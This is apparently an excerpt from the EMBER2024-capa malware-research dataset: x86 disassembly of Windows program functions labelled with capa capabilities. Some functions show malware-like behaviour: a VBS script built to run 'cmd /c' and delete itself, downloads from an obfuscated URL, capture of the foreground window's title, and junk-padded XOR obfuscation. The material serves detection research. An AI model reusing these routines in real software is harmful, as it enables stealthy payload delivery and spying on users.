joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ff68
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x2d]
test eax, eax
je 0x420039
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x3c], 0
je 0x41ffb3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x40]
cmp eax, dword [ebp + 0xc]
jae 0x41ffb3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
call fcn.00412b80
pop ecx
mov eax, dword [ebp - 0x18]
and dword [eax + 0x3c], 0
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x3c], 0
jne 0x41ffdd
mov eax, dword [ebp + 0xc]
shl eax, 1
push eax
call fcn.00412b6b
pop ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 0x3c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x40], ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
mov eax, dword [ebp - 0x18]
push dword [eax + 0x3c]
call sub.msvcrt.dll_memcpy
add esp, 0xc
and dword [ebp - 8], 0
jmp 0x41fffe
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x420030
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 8]
movzx eax, byte [eax + ecx]
push eax
mov eax, dword [ebp - 0x18]
add eax, 0x30
push eax
call fcn.0041f907
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x3c]
mov edx, dword [ebp - 8]
mov byte [ecx + edx], al
jmp 0x41fff7
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x20], 0
je 0x420092
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x24]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x18]
cmp eax, dword [ecx + 0x28]
jb 0x420061
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x14], 0x30000
xor eax, eax
jmp 0x4200c4
push dword [ebp + 0xc]
push dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0x18]
add eax, dword [ecx + 0x24]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x24]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx + 0x24], eax
mov eax, dword [ebp + 0xc]
jmp 0x4200c4
mov eax, dword [ebp - 0x18]
cmp dword [eax + 4], 0
je 0x4200b8
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp - 4]
mov eax, dword [ebp - 0x18]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
jmp 0x4200c4
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x14], 0x1000000
xor eax, eax
leave
ret 8
Function at 0x4205df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x84], 0
je 0x42069c
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ecx + 0x88]
jb 0x420613
xor eax, eax
jmp 0x420706
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [eax + 0x88]
sub eax, dword [ecx + 0x8c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jbe 0x420636
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x84]
mov ecx, dword [ebp - 0x10]
add eax, dword [ecx + 0x8c]
push eax
push dword [ebp + 8]
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x8c]
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x8c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x74]
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x74], eax
push dword [ebp - 4]
push dword [ebp + 8]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x78]
call fcn.0041f6cf
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x78], eax
mov eax, dword [ebp - 4]
jmp 0x420706
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x7c], 0
je 0x4206fa
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x7c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4206ca
xor eax, eax
jmp 0x420706
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x74]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x74], eax
push dword [ebp - 0xc]
push dword [ebp + 8]
mov eax, dword [ebp - 0x10]
push dword [eax + 0x78]
call fcn.0041f6cf
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x78], eax
mov eax, dword [ebp - 0xc]
jmp 0x420706
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0x1000000
xor eax, eax
leave
ret 8

Function at 0x42224f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42fb80]
jne 0x422259
repz ret
jmp fcn.00422b6b
Function at 0x422f3b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42fb80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004229e7
and dword [ebp - 0x14], 0
cmp dword [0x642460], 0
mov dword [ebp - 0x18], eax
jne 0x422fee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x423096
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x423096
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x642460], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x642464], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x642468], eax
call edi
push eax
call esi
mov dword [0x642470], eax
test eax, eax
je 0x422fee
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x64246c], eax
mov eax, dword [0x64246c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x423047
cmp dword [0x642470], ecx
je 0x423047
push eax
call esi
push dword [0x642470]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x423047
test ebx, ebx
je 0x423047
call edi
test eax, eax
je 0x42303e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42303e
test byte [ebp - 8], 1
jne 0x423047
or dword [ebp + 0x10], 0x200000
jmp 0x42307a
mov eax, dword [0x642464]
cmp eax, dword [ebp - 0x18]
je 0x42307a
push eax
call esi
test eax, eax
je 0x42307a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42307a
mov eax, dword [0x642468]
cmp eax, dword [ebp - 0x18]
je 0x42307a
push eax
call esi
test eax, eax
je 0x42307a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x642460]
call esi
test eax, eax
je 0x423096
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x423098
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042224f
leave
ret
Function at 0x403ca0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x403cd6
jmp 0x403d0e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x403cd3
cmp al, 9
je 0x403cd3
cmp al, 0x22
jne 0x403cf7
jmp 0x403d56
cmp al, 9
je 0x403d03
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x403cf0
jmp 0x403d03
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x403d00
cmp al, 9
je 0x403d00
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x403d1d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x403d62
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x403d52
cmp al, 0x22
jne 0x403d03
lea ebx, [edx + 2]
jmp 0x403d03
Function at 0x40b60d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x410920
cmp edx, dword [eax]
je 0x40b62f
add eax, 8
inc ecx
cmp eax, 0x4109b0
jl 0x40b620
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x410920]
jne 0x40b75d
mov eax, dword [0xf0f8b0]
cmp eax, 1
je 0x40b737
test eax, eax
jne 0x40b660
cmp dword [0x410248], 1
je 0x40b737
cmp edx, 0xfc
je 0x40b75d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40b697
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00408970
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408b40
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40b6da
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408b40
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40f48c
push edi
call fcn.00409090
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00408970
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408980
lea eax, [ebp - 0xa0]
push 0x40f46c
push eax
call fcn.00408980
push dword [esi + 0x410924]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408980
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040d7e3
add esp, 0x2c
pop edi
jmp 0x40b75d
lea eax, [ebp + 8]
lea esi, [esi + 0x410924]
push 0
push eax
push dword [esi]
call fcn.00408b40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x438ca3
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x438a14
inc edi
sub esp, 4
mov dword [esp], 0x283e1727
pop esi
or edi, edi
call fcn.00438cea
mov esi, 0xc0ff11f3
add edi, 0xa25d5d6a
xor dword [eax], ecx
add esi, 0xb0f89813
add eax, 1
or edi, edi
cmp eax, ebx
jne fcn.00438ca3
dec esi
sub edi, esi
add esi, 0xf4355bef
ret
Function at 0x40d7ff
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00412850
mov esi, 0x475338
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.agdlpid
mov ecx, 0x4752f0
call fcn.00401fab
mov edx, eax
call fcn.004136f8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40d85f
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.0041b978
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0041bc5e
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403014
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea eax, [ebp - 0x78]
push eax
push 0x466608
push 0x466f88
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040431d
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x18]
call fcn.00401f86
push 0x467130
push 0x467134
lea ecx, [ebp - 0xc0]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040417e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403014
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403014
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040325d
lea ecx, [ebp - 0x48]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0xa8]
call fcn.00401f09
lea ecx, [ebp - 0xc0]
call fcn.00401f09
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00409052
push edi
lea ecx, [ebp - 0x60]
call fcn.00401f04
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
test al, al
je 0x40d9ca
push edi
mov eax, 0x466468
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401f04
push eax
push 0x466108
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40d9ca
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401f09
lea ecx, [ebp - 0x60]
call fcn.00401f09
lea ecx, [ebp - 0x78]
call fcn.00401f09
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41b380
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.004020df
xor esi, esi
push 0xffff
mov dword [esp + 0x14], esi
call fcn.0043bd51
pop ecx
push esi
push esi
push esi
push 1
push esi
mov edi, eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push closesocket
push esi
push esi
mov ebp, eax
push str.nsmvvsjoifqgwfejanet_json.gp
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0xffff
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x41b40c
push ecx
push edi
lea ecx, [esp + 0x20]
call fcn.004020b7
push eax
mov ecx, ebx
call fcn.00403376
lea ecx, [esp + 0x18]
call fcn.00401fd8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
cmp eax, 1
jne 0x41b415
test ecx, ecx
jne 0x41b3c5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebp
call esi
push edi
call fcn.0043bd4c
pop ecx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x41b9f6
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x41ba8d
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x41ba8d
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x5c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41ba84
mov esi, dword [ebp - 0x54]
inc esi
push esi
mov dword [ebp - 0x54], esi
call fcn.0043bd51
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41ba84
push 8
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.00436e90
push esi
push edi
push dword [ebx]
call fcn.00436e90
add esp, 0x18
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
push edi
push dword [ebp - 0x10]
mov dword [esi], eax
mov eax, dword [ebp - 8]
push dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41ba96
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.00436e90
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.0040417e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xbc6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00bc61a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xbc607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbc606a
add dl, dl
jne 0xbc6089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbc60dc
xor eax, eax
add dl, dl
jne 0xbc6096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xbc617d
add dl, dl
jne 0xbc60a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbc60b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbc60bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbc60c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xbc60d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xbc6075
mov eax, 1
add dl, dl
jne 0xbc60ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xbc60f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbc60e1
sub eax, ebx
mov ebx, 1
jne 0xbc6128
mov ecx, 1
add dl, dl
jne 0xbc610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbc6119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbc6105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbc6075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xbc613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xbc614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xbc6136
cmp eax, 0x7d00
jae 0xbc616d
cmp eax, 0x500
jb 0xbc6168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbc6075
cmp eax, 0x7f
ja 0xbc6170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xbc6075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xbc619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xbc6075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10011680
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x100116be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x100116b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x100116c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x100116a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10011790
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x100117c1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100117c1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x100117c1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1001b47f
Capabilities:
Encode data using xor

Disassembly:
call 0x1001b3f8
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x1001b428
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1001b444
xor edx, 0
jmp 0x1001b44f
xor edx, edx
jmp 0x1001b466
jmp 0x1001b472
xor eax, eax
push 0x8427d7c0
call 0x1001b47f
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x1001b4bb
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1001b494
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1001b4d2
add eax, 0
jno 0x1001b4d7
add esi, 0
ret 0x10
Function at 0x1001c240
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1001c262
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1001c404
cmp edi, dword [ebp + 0x10]
jb 0x1001c404
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.1001bd2c
inc edi
jmp 0x1001c2eb
jmp 0x1001c2f8
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1001bd2c
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.1001bd2c
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1001c34c
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1001c330
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1001c37a
add dword [eax], 0x39
jle 0x1001c356
sub al, 0xf5
mov ch, al
call fcn.1001c38f
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1001e067
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1001e07d
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1001e08e
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1001e0cf
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx